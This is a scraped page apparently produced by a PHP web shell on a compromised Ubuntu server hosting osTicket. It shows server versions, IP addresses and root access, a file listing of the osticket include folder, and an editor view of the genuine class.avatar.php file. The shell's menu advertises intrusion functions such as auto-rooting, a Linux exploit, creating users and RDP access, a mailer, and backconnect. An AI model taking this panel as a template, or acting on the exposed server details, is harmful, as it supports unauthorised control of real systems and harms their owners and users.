Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.51
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
osticket /
upload /
include /
[ HOME SHELL ]
Name
Size
Permission
Action
cli
[ DIR ]
drwxr-xr-x
client
[ DIR ]
drwxr-xr-x
config
[ DIR ]
drwxr-xr-x
fpdf
[ DIR ]
drwxr-xr-x
i18n
[ DIR ]
drwxr-xr-x
mpdf
[ DIR ]
drwxr-xr-x
pear
[ DIR ]
drwxr-xr-x
plugins
[ DIR ]
drwxr-xr-x
staff
[ DIR ]
drwxr-xr-x
upgrader
[ DIR ]
drwxr-xr-x
.MANIFEST
163.74
KB
-rw-r--r--
.htaccess
14
B
-rw-r--r--
JSON.php
33.13
KB
-rw-r--r--
PasswordHash.php
6.92
KB
-rw-r--r--
Spyc.php
31.73
KB
-rw-r--r--
UniversalClassLoader.php
8.61
KB
-rw-r--r--
ajax.admin.php
7.21
KB
-rw-r--r--
ajax.config.php
4.55
KB
-rw-r--r--
ajax.content.php
9.47
KB
-rw-r--r--
ajax.draft.php
12.72
KB
-rw-r--r--
ajax.export.php
1006
B
-rw-r--r--
ajax.filter.php
874
B
-rw-r--r--
ajax.forms.php
13.3
KB
-rw-r--r--
ajax.i18n.php
4.91
KB
-rw-r--r--
ajax.kbase.php
2.93
KB
-rw-r--r--
ajax.note.php
2.05
KB
-rw-r--r--
ajax.orgs.php
11.7
KB
-rw-r--r--
ajax.schedule.php
4.29
KB
-rw-r--r--
ajax.search.php
12.35
KB
-rw-r--r--
ajax.sequence.php
3.2
KB
-rw-r--r--
ajax.staff.php
7.84
KB
-rw-r--r--
ajax.tasks.php
30.25
KB
-rw-r--r--
ajax.thread.php
8.89
KB
-rw-r--r--
ajax.tickets.php
74
KB
-rw-r--r--
ajax.tips.php
1.66
KB
-rw-r--r--
ajax.upgrader.php
2.24
KB
-rw-r--r--
ajax.users.php
17.8
KB
-rw-r--r--
api.cron.php
909
B
-rw-r--r--
api.tickets.php
8.26
KB
-rw-r--r--
class.ajax.php
1.42
KB
-rw-r--r--
class.api.php
13.14
KB
-rw-r--r--
class.app.php
1.47
KB
-rw-r--r--
class.attachment.php
6.87
KB
-rw-r--r--
class.auth.php
43.91
KB
-rw-r--r--
class.avatar.php
6.43
KB
-rw-r--r--
class.banlist.php
2.54
KB
-rw-r--r--
class.base32.php
4.06
KB
-rw-r--r--
class.businesshours.php
6.72
KB
-rw-r--r--
class.canned.php
8.58
KB
-rw-r--r--
class.captcha.php
1.73
KB
-rw-r--r--
class.category.php
11.04
KB
-rw-r--r--
class.charset.php
3.4
KB
-rw-r--r--
class.cli.php
9.48
KB
-rw-r--r--
class.client.php
15.02
KB
-rw-r--r--
class.collaborator.php
5.44
KB
-rw-r--r--
class.company.php
2.65
KB
-rw-r--r--
class.config.php
58.51
KB
-rw-r--r--
class.cron.php
3.54
KB
-rw-r--r--
class.crypto.php
18.96
KB
-rw-r--r--
class.csrf.php
2.36
KB
-rw-r--r--
class.dept.php
32.39
KB
-rw-r--r--
class.dispatcher.php
6.72
KB
-rw-r--r--
class.draft.php
6.25
KB
-rw-r--r--
class.dynamic_forms.php
62.12
KB
-rw-r--r--
class.email.php
18.09
KB
-rw-r--r--
class.error.php
1.69
KB
-rw-r--r--
class.export.php
31.8
KB
-rw-r--r--
class.faq.php
15.05
KB
-rw-r--r--
class.file.php
32.41
KB
-rw-r--r--
class.filter.php
27.75
KB
-rw-r--r--
class.filter_action.php
20.27
KB
-rw-r--r--
class.format.php
40.68
KB
-rw-r--r--
class.forms.php
183.13
KB
-rw-r--r--
class.http.php
5.52
KB
-rw-r--r--
class.i18n.php
24.2
KB
-rw-r--r--
class.import.php
6.44
KB
-rw-r--r--
class.json.php
2.69
KB
-rw-r--r--
class.knowledgebase.php
5.8
KB
-rw-r--r--
class.list.php
41.85
KB
-rw-r--r--
class.lock.php
4.05
KB
-rw-r--r--
class.log.php
1.54
KB
-rw-r--r--
class.mailer.php
24.05
KB
-rw-r--r--
class.mailfetch.php
37.24
KB
-rw-r--r--
class.mailparse.php
26.7
KB
-rw-r--r--
class.message.php
6.4
KB
-rw-r--r--
class.migrater.php
5.2
KB
-rw-r--r--
class.misc.php
8.15
KB
-rw-r--r--
class.model.php
2.3
KB
-rw-r--r--
class.nav.php
14.14
KB
-rw-r--r--
class.note.php
2.39
KB
-rw-r--r--
class.organization.php
22.44
KB
-rw-r--r--
class.orm.php
119.54
KB
-rw-r--r--
class.osticket.php
18.8
KB
-rw-r--r--
class.ostsession.php
9.82
KB
-rw-r--r--
class.page.php
10.65
KB
-rw-r--r--
class.pagenate.php
5.13
KB
-rw-r--r--
class.passwd.php
1.19
KB
-rw-r--r--
class.pdf.php
3.62
KB
-rw-r--r--
class.plugin.php
23.89
KB
-rw-r--r--
class.priority.php
1.81
KB
-rw-r--r--
class.queue.php
102.01
KB
-rw-r--r--
class.report.php
11.47
KB
-rw-r--r--
class.role.php
11.12
KB
-rw-r--r--
class.schedule.php
46.03
KB
-rw-r--r--
class.search.php
56.26
KB
-rw-r--r--
class.sequence.php
7.27
KB
-rw-r--r--
class.setup.php
3.55
KB
-rw-r--r--
class.signal.php
4.16
KB
-rw-r--r--
class.sla.php
8.64
KB
-rw-r--r--
class.staff.php
52.41
KB
-rw-r--r--
class.task.php
49.97
KB
-rw-r--r--
class.team.php
12.01
KB
-rw-r--r--
class.template.php
23.33
KB
-rw-r--r--
class.thread.php
107.11
KB
-rw-r--r--
class.thread_actions.php
17.08
KB
-rw-r--r--
class.ticket.php
162.72
KB
-rw-r--r--
class.timezone.php
21.94
KB
-rw-r--r--
class.topic.php
19.07
KB
-rw-r--r--
class.translation.php
34.38
KB
-rw-r--r--
class.upgrader.php
13.54
KB
-rw-r--r--
class.user.php
42.45
KB
-rw-r--r--
class.usersession.php
4.99
KB
-rw-r--r--
class.util.php
8.01
KB
-rw-r--r--
class.validator.php
12.05
KB
-rw-r--r--
class.variable.php
11.93
KB
-rw-r--r--
class.xml.php
3.23
KB
-rw-r--r--
class.yaml.php
1.16
KB
-rw-r--r--
htmLawed.php
53.53
KB
-rw-r--r--
html2text.php
33.63
KB
-rw-r--r--
index.php
37
B
-rw-r--r--
mysqli.php
8.55
KB
-rw-r--r--
ost-config.php
5.61
KB
-rw-r--r--
ost-sampleconfig.php
5.62
KB
-rw-r--r--
tnef_decoder.php
19.82
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : class.avatar.php
<?php /********************************************************************* class.avatar.php Avatar sources for users and agents Jared Hancock <jared@osticket.com> Peter Rotich <peter@osticket.com> Copyright (c) 2006-2015 osTicket http://www.osticket.com Released under the GNU General Public License WITHOUT ANY WARRANTY. See LICENSE.TXT for details. vim: expandtab sw=4 ts=4 sts=4: **********************************************************************/ abstract class Avatar { var $user; function __construct($user) { $this->user = $user; } abstract function getUrl($size); function getImageTag($size=null) { $style = ($size) ? sprintf('style="max-height:%spx"', $size) : ''; return "<img {$style} class=\"avatar\" alt=\"" .__('Avatar').'" src="'.$this->getUrl($size).'" />'; } function __toString() { return $this->getImageTag(); } function isChangeable() { return false; } function toggle() {} } abstract class AvatarSource { static $id; static $name; var $mode; function __construct($mode=null) { if (isset($mode)) $this->mode = $mode; } function getName() { return __(static::$name); } abstract function getAvatar($user); static $registry = array(); static function register($class) { if (!class_exists($class)) throw new Exception($class.': Does not exist'); if (!isset($class::$id)) throw new Exception($class.': AvatarClass must specify $id'); static::$registry[$class::$id] = $class; } static function lookup($id, $mode=null) { $class = static::$registry[$id]; if (!isset($class)) ; // TODO: Return built-in avatar source if (is_string($class)) $class = static::$registry[$id] = new $class($mode); return $class; } static function allSources() { return static::$registry; } static function getModes() { return null; } } class LocalAvatarSource extends AvatarSource { static $id = 'local'; static $name = /* @trans */ 'Built-In'; var $mode = 'ateam'; static function getModes() { return array( 'ateam' => __("Oscar's A-Team"), ); } function getAvatar($user) { return new LocalAvatar($user, $this->mode); } } AvatarSource::register('LocalAvatarSource'); class LocalAvatar extends Avatar { var $mode; var $code; var $size; function __construct($user, $mode) { parent::__construct($user); $this->mode = $mode; } function setSize($size) { $this->size = $size; } function getUrl($size) { $code = $this->code; if (!$code && method_exists($this->user, 'getExtraAttr')) $code = $this->user->getExtraAttr('avatar'); if ($code) $uid = md5($code); else // Generate a random string of 0-6 chars for the avatar signature $uid = md5(strtolower($this->user->getEmail())); $args = array('uid'=>$uid, 'mode' => $this->mode); if ($this->size) $args['size'] = $this->size; return ROOT_PATH . 'avatar.php?' . Http::build_query($args); } function toggle() { $this->code = Misc::randCode(21); return $this->code; } function isChangeable() { return true; } } class RandomAvatar { var $mode; static $sprites = array( 'ateam' => array( 'file' => 'images/avatar-sprite-ateam.png', 'grid' => 96, ), ); function __construct($mode) { $this->mode = $mode; } function makeAvatar($uid, $size=null) { $sprite = self::$sprites[$this->mode]; if (!$sprite || !is_readable(ROOT_DIR . $sprite['file']) || !extension_loaded('gd')) Http::redirect(ROOT_PATH.'images/mystery-oscar.png'); $source = imagecreatefrompng(ROOT_DIR . $sprite['file']); $grid = $sprite['grid']; $avatar = imagecreatetruecolor($grid, $grid); $width = imagesx($source) / $grid; $height = imagesy($source) / $grid; // Start with a white matte $white = imagecolorallocate($avatar, 255, 255, 255); imagefill($avatar, 0, 0, $white); for ($i=0, $k=$height; $i<$k; $i++) { $idx = hexdec($uid[$i]) % $width; imagecopy($avatar, $source, 0, 0, $idx*$grid, $i*$grid, $grid, $grid); } // Resize the avatar (if applicable) if ($size) { $avatar = imagescale($avatar, $size, $size); } return $avatar; } } class AvatarsByGravatar extends AvatarSource { static $name = 'Gravatar'; static $id = 'gravatar'; var $mode; function __construct($mode=null) { $this->mode = $mode ?: 'retro'; } static function getModes() { return array( 'mm' => __('Mystery Man'), 'identicon' => 'Identicon', 'monsterid' => 'Monster', 'wavatar' => 'Wavatar', 'retro' => 'Retro', ); } function getAvatar($user) { return new Gravatar($user, $this->mode); } } AvatarSource::register('AvatarsByGravatar'); class Gravatar extends Avatar { var $email; var $d; var $size; function __construct($user, $imageset) { $this->email = $user->getEmail(); $this->d = $imageset; } function setSize($size) { $this->size = $size; } /** * Get either a Gravatar URL or complete image tag for a specified email address. * * @param string $email The email address * @param string $s Size in pixels, defaults to 80px [ 1 - 2048 ] * @param string $d Default imageset to use [ 404 | mm | identicon | monsterid | wavatar ] * @param string $r Maximum rating (inclusive) [ g | pg | r | x ] * @param boole $img True to return a complete IMG tag False for just the URL * @param array $atts Optional, additional key/value attributes to include in the IMG tag * @return String containing either just a URL or a complete image tag * @source http://gravatar.com/site/implement/images/php/ */ function getUrl($size=null) { $size = $this->size ?: 80; $url = '//www.gravatar.com/avatar/'; $url .= md5( strtolower( $this->email ) ); $url .= "?s=$size&d={$this->d}"; return $url; } }
Close